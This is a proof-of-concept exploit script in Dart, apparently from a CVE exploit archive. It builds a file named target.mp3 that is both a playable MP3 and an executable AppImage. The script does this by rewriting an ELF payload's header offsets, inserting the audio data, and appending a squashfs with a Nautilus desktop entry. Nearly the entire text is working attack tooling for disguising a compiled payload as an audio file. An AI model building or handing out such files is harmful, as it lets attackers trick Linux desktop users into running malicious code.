4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / write_mp3.dart DART
import 'dart:io';
import 'dart:typed_data';

final appImageSignature = Uint8List.fromList([0x41, 0x49, 0x02]);

final elf64EiDataOffset = 0x05;
final elf64EiPadOffset = 0x08;
final elf64EntryOffset = 0x18;
final elf64PhOffOffset = 0x20;
final elf64ShOffOffset = 0x28;
final elf64HSizeOffset = 0x34;
final elf64PhEntSizeOffset = 0x36;
final elf64PhNumOffset = 0x38;
final elf64ShEntSizeOffset = 0x3A;
final elf64ShNumOffset = 0x3C;

final ph64POffset = 0x08;
final sh64SOffset = 0x18;

final maxElfAlign = 1 << 12;

Future<void> runProcess(List<String> cmd) async {
  var p = await Process.start(cmd[0], cmd.sublist(1));
  stdout.addStream(p.stdout);
  stderr.addStream(p.stderr);

  var rc = await p.exitCode;
  if (rc != 0) {
    print('${cmd[0]} failed');
    exit(1);
  }
}

Future<void> main() async {
  await runProcess(['fpc', 'payload.pas']);

  var payload = ByteData.view((await File('payload').readAsBytes()).buffer);
  var mp3 = await File('audio.mp3').readAsBytes();

  var movement =
      mp3.lengthInBytes + (maxElfAlign - mp3.lengthInBytes % maxElfAlign);

  Endian endian =
      payload.getUint8(elf64EiDataOffset) == 1 ? Endian.little : Endian.big;

  var ehSize = payload.getUint16(elf64HSizeOffset, endian);
  var newHeader =
      ByteData.view(payload.buffer.asUint8List().sublist(0, ehSize).buffer);
  var newElfContents =
      ByteData.view(payload.buffer.asUint8List().sublist(ehSize).buffer);

  for (var i = 0; i < appImageSignature.length; i++) {
    newHeader.setUint8(elf64EiPadOffset + i, appImageSignature[i]);
  }

  var offsetsToMove = [elf64ShOffOffset, elf64PhOffOffset];
  for (var offset in offsetsToMove) {
    newHeader.setUint64(
        offset, payload.getUint64(offset, endian) + movement, endian);
  }

  var entsToMove = [
    [elf64ShOffOffset, elf64ShEntSizeOffset, elf64ShNumOffset, sh64SOffset],
    [elf64PhOffOffset, elf64PhEntSizeOffset, elf64PhNumOffset, ph64POffset],
  ];
  for (var ents in entsToMove) {
    var entoff = payload.getUint64(ents[0], endian);
    var size = payload.getUint16(ents[1], endian);
    var n = payload.getUint16(ents[2], endian);
    var segoff = ents[3];

    for (var i = 0; i < n; i++) {
      var elfPos = entoff + i * size;
      var targetPos = elfPos - ehSize;
      if (payload.getUint32(elfPos, endian) == 0x6474e551) {
        // PT_GNU_STACK
        continue;
      }

      newElfContents.setUint64(targetPos + segoff,
          payload.getUint64(elfPos + segoff, endian) + movement, endian);
    }
  }

  var appdir = Directory('appdir');
  if (await appdir.exists()) {
    await appdir.delete(recursive: true);
  }
  await appdir.create(recursive: true);
  await Directory('${appdir.path}/usr/share/icons').create(recursive: true);

  var squashfs = File('appdir.sqsh');
  if (await squashfs.exists()) {
    await squashfs.delete();
  }

  await File('nautilus.desktop').copy('${appdir.path}/nautilus.desktop');
  await File('nautilus.svg')
      .copy('${appdir.path}/usr/share/icons/nautilus.svg');

  await runProcess(['mksquashfs', appdir.path, squashfs.path]);

  var output = File('target.mp3');
  var sink = await output.openWrite();

  sink.add(newHeader.buffer.asUint8List());
  sink.add(mp3);
  sink.add(List<int>.filled(movement - mp3.lengthInBytes, 0));
  sink.add(newElfContents.buffer.asUint8List());
  sink.add(await squashfs.readAsBytes());

  sink.close();
}